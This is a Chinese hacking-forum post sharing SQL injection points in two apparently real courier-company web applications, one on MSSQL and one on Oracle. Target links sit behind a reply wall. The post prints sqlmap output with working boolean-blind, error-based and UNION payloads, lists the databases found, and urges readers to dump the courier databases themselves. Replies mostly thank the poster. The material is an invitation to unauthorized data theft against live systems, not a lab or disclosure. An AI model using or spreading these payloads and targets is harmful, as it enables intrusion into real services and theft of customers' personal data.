分享两个快递的注入点[我才不说这是oracle和mssql的]

凡火火。

首先两个连接：

游客，如果您要查看本帖隐藏内容请回复

放在sqlmap里跑吧，
mssql的好跑，那个oracle的实在不说什么了，我这12k的网速估计要跑一天


首先找mssql的   查注入

[AppleScript] 纯文本查看 复制代码

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=82 AND 3530=3530

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=82 AND 1274=CONVERT(INT,(CHAR(58)+CHAR(97)+CHAR(118)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (1274=1274) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(99)+CHAR(105)+CHAR(104)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: id=-5953 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CHAR(58)+CH
AR(97)+CHAR(118)+CHAR(100)+CHAR(58)+CHAR(83)+CHAR(105)+CHAR(110)+CHAR(79)+CHAR(9
8)+CHAR(122)+CHAR(98)+CHAR(77)+CHAR(88)+CHAR(73)+CHAR(58)+CHAR(99)+CHAR(105)+CHA
R(104)+CHAR(58), NULL, NULL, NULL--
---
[08:48:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

继续查库

[AppleScript] 纯文本查看 复制代码

available databases [11]:
[*] BarFour
[*] BillPicData
[*] distribution
[*] master
[*] model
[*] msdb
[*] qcexdata
[*] ScanData
[*] tempdb
[*] tmsdata
[*] use_part

qcexdata这个库觉得有信息

[AppleScript] 纯文本查看 复制代码

Database: qcexdata
[10 tables]
+------------------+
| dbo.[V_????????]         |
| dbo.[???????]           |
| dbo.[??????]           |
| dbo.[????????]           |
| dbo.[????????]           |
| dbo.[?????\xbc??]      |
| dbo.[????????]          |
| dbo.[???????]           |
| dbo.[????????]           |
| dbo.dtproperties |
+------------------+

估计是中文的库名，懒得用明小子了，各位看官自己去吧

第二个放出~


由于是一个查询页面，加一个引号就报错了

那么就抓包试试post注入




好了我们发现传递这个查询的参数是txtIDs 那就拿出神器

[AppleScript] 纯文本查看 复制代码

---
Place: POST
Parameter: txtIDs
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: txtIDs=1' AND 5943=5943 AND 'qjFE'='qjFE

    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: txtIDs=1' AND 7814=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(120)
||CHR(112)||CHR(103)||CHR(58)||(SELECT (CASE WHEN (7814=7814) THEN 1 ELSE 0 END)
 FROM DUAL)||CHR(58)||CHR(112)||CHR(112)||CHR(97)||CHR(58)||CHR(62))) FROM DUAL)
 AND 'nBmT'='nBmT
---
[09:05:24] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Oracle

列--dbs  如下

[AppleScript] 纯文本查看 复制代码

available databases [7]:
[*] DBSNMP
[*] ND
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] WMSYS

表段--tables太多懒得列了，各位看官自行脱裤吧，oracle快递数据库你们都懂的、

fuck1314

学习了 呵呵

sigma

学习一下           

蓝董浩

{:soso_e134:}东西太多了····

另一个世界

NICE！学习了~

路过秋天

我拿走了额。。

fengchaolove1

我来看看呗!

广岛秋泽

谢谢分享~